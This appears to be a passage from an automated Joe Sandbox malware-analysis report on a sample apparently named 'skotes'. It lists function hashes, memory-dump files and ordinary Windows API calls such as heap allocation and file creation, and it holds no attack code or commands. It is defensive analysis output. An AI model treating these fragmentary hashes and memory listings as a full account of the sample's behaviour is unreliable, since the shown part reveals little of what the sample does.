Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: d05861315e5e8cd7b7ed3491504a5d9e8803975e47bafe1ab826de1f00e91772
Instruction ID: f8e3bce49622cba17af53e7a70435348297984006f065a3f7a002b4770581aed
Opcode Fuzzy Hash: d05861315e5e8cd7b7ed3491504a5d9e8803975e47bafe1ab826de1f00e91772
Instruction Fuzzy Hash: D3111571A0460AAFCB05DF98E94199A7BF5EF48304F044069F809AB351D670EE21CBA5

Function 0062D82F Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0062A813,00000001,00000364,00000006,000000FF,?,?,0060D3FC,00606CB7,?,00607A8B,8B18EC84), ref: 0062D871

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a1e4046cc06d27ace4fc97f252308a1e073947ac84ad5ec6dbc3b04c1fd2034b
Instruction ID: bb0ddb25a7fb075ac9198dd7809a80e5dc76862ce9b3026a83d1c41336443aab
Opcode Fuzzy Hash: a1e4046cc06d27ace4fc97f252308a1e073947ac84ad5ec6dbc3b04c1fd2034b
Instruction Fuzzy Hash: A2F0E931611E3566FB216A72BC01ADB775BDF85370F158021FD08AB281DA28EC018DE0

Function 0062B04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00606CB7,?,?,0060D3FC,00606CB7,?,00607A8B,8B18EC84,052C0919), ref: 0062B07D

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 450774b3883fdabaec72b36edff866c3d5903c882d5128842d61544bfb43962a
Instruction ID: ecb01025d38d0cd7087d03e5e8902f2514ce031d4b07178dfb034e14b8982954
Opcode Fuzzy Hash: 450774b3883fdabaec72b36edff866c3d5903c882d5128842d61544bfb43962a
Instruction Fuzzy Hash: A1E0E521541E3156E7333275BC00BDFA74BCF413E0F153210ED64A62A0DB50DC009DE5

Function 00631775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00631B65,?,?,00000000,?,00631B65,00000000,0000000C), ref: 00631792

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c7f2bbf9fd84f8371206dcc0320ff83a831fff0d0551d13aa62bf5f69a8299f1
Instruction ID: 7a033a0bfd0bdaf28000202aec756467ac93f2620f6663101d2e820f991ff087
Opcode Fuzzy Hash: c7f2bbf9fd84f8371206dcc0320ff83a831fff0d0551d13aa62bf5f69a8299f1
Instruction Fuzzy Hash: 7BD0923214410DBBDF129E84DC06EDA7BAAFB48714F014100FE1C66020C732E871AB94

Function 05330008 Relevance: 1.3, Strings: 1, Instructions: 51COMMON

Download Yara Rule

Strings

aR`V, xrefs: 05330018

Memory Dump Source

Source File: 0000000D.00000002.3466673752.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5330000_skotes.jbxd

Similarity

API ID:
String ID: aR`V
API String ID: 0-705899202
Opcode ID: 9b1cc20b4878f03238e5d925a62ba2eea9fd7c480f4051d19f3997bdf9ecd21f
Instruction ID: 6ef0eb3ec865e50e35d2b4fe4c4925c67b2f79ab4e15faa44a35f6bc6465f937
Opcode Fuzzy Hash: 9b1cc20b4878f03238e5d925a62ba2eea9fd7c480f4051d19f3997bdf9ecd21f
Instruction Fuzzy Hash: 9401497600D208EFC79DEE91959F4BA3B5FAE42230B7040DAF4820FB52F796084847A2

Function 05330000 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3466673752.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5330000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55c2eca143879794b3ee40444c3c95e4288859ee8f524572054a0cc9af454493
Instruction ID: 3cf5370d7cabaf4d10863eb96ca5da3d98db3baf955237f39b4b49affd95e8fc
Opcode Fuzzy Hash: 55c2eca143879794b3ee40444c3c95e4288859ee8f524572054a0cc9af454493
Instruction Fuzzy Hash: 29F0287604D208FFC35EED81955F9FB3A5FAA83330731848AF4464BB01BBA50C4857A2

Function 05330027 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3466673752.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5330000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56ccb7871ca31eb60648762603867bb896fd97dc67003fbcfa82578dd95e0521
Instruction ID: 1cb1272275a8312f7b273ccaf6d3d3950913d2da76fa9230bf51b22078fe4c3b
Opcode Fuzzy Hash: 56ccb7871ca31eb60648762603867bb896fd97dc67003fbcfa82578dd95e0521
Instruction Fuzzy Hash: 69F0813600D218EFC759EE41951FAFB3B6FAF43330B714487F4421AA01B7A5084957A2

Function 0533005D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3466673752.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5330000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fed1d9c238491f7fcf643a48efa88fd1660e8e81224a14540fa40e3456173487
Instruction ID: 12765c365413e643fde38a7ac5379cf6d0a9e73b1bc2e5916330a877d57df963
Opcode Fuzzy Hash: fed1d9c238491f7fcf643a48efa88fd1660e8e81224a14540fa40e3456173487
Instruction Fuzzy Hash: 31F0287654E3D49FC3469A61685B0F67FA5AE5322133940EBD4C18F952E74A080BC362

Function 0533003D Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3466673752.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5330000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6e1cfbf9b551acf7edc178b8c560d4e5a95cc63b3e3b9f3f366c838c3e4c18f
Instruction ID: 02dc10c1f5b949d4cb31d1f18a694737078972db0086e71f67ab8bb473308028
Opcode Fuzzy Hash: a6e1cfbf9b551acf7edc178b8c560d4e5a95cc63b3e3b9f3f366c838c3e4c18f
Instruction Fuzzy Hash: C0F02B7610D208EFC749FA51E56B5FB3BAF9F42220B7184D5F4815BA01F7A5084497A2

Function 05330087 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3466673752.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5330000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbd6191bf3451c4185e9a023f17b8543cfa01a0996056d764b8a0ed9251974d3
Instruction ID: 7e9bafaf602d4cd2851aa1205e6c911bcc2e22b29908b5c8edfb68f21a4bc884
Opcode Fuzzy Hash: dbd6191bf3451c4185e9a023f17b8543cfa01a0996056d764b8a0ed9251974d3
Instruction Fuzzy Hash: 92E02B36649319DFC358F982A15B0FB77E6BF532207B0446FE48187945FB5608495362

Function 053300AB Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3466673752.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5330000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d53e6b61e9caecfbff37abe181f6ac34bf6123dcd171053dcce8d4ce200322
Instruction ID: f3218119e0ebfd4540f52e61d9ffc8f461ecf3019c4991f11ae296e213fe251f
Opcode Fuzzy Hash: d5d53e6b61e9caecfbff37abe181f6ac34bf6123dcd171053dcce8d4ce200322
Instruction Fuzzy Hash: 2CD0A77B54C110DFD2CCE541760B03677DEA6532307704057E0C28AD416B8708486333

Function 053300BF Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3466673752.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5330000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be9e9fd95c6adb0bcc56a018d1cfd8b30348494edc049c146134589394e49dfe
Instruction ID: 47a8d34ac9bf81bc71a2b4a31c164dc121913090eb6932a55c94f890cd300b51
Opcode Fuzzy Hash: be9e9fd95c6adb0bcc56a018d1cfd8b30348494edc049c146134589394e49dfe
Instruction Fuzzy Hash: A1D0A73642C010EBC28DDE46940B476779DBA232143688943F09287542EE466890A7B0

Function 053300D4 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3466673752.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5330000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b49c95545757b360f497b79ef9c93a9909133c9cd8b10ca22a2e8c0f77a7a075
Instruction ID: 3ced9893697ce7a3bb672273002d1325b4e2cf4564335c9b2b0cf990c6e1f784
Opcode Fuzzy Hash: b49c95545757b360f497b79ef9c93a9909133c9cd8b10ca22a2e8c0f77a7a075
Instruction Fuzzy Hash: 1CD0223284C220CFD208C80190018B377CC6A273223E80067808287741E39A8488A120

Non-executed Functions

Function 00610E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00610F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00610F62

Part of subcall function 0061265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00612750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00610FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00610FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0061103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0061106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 006110C1

Strings

(, xrefs: 00610F22

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
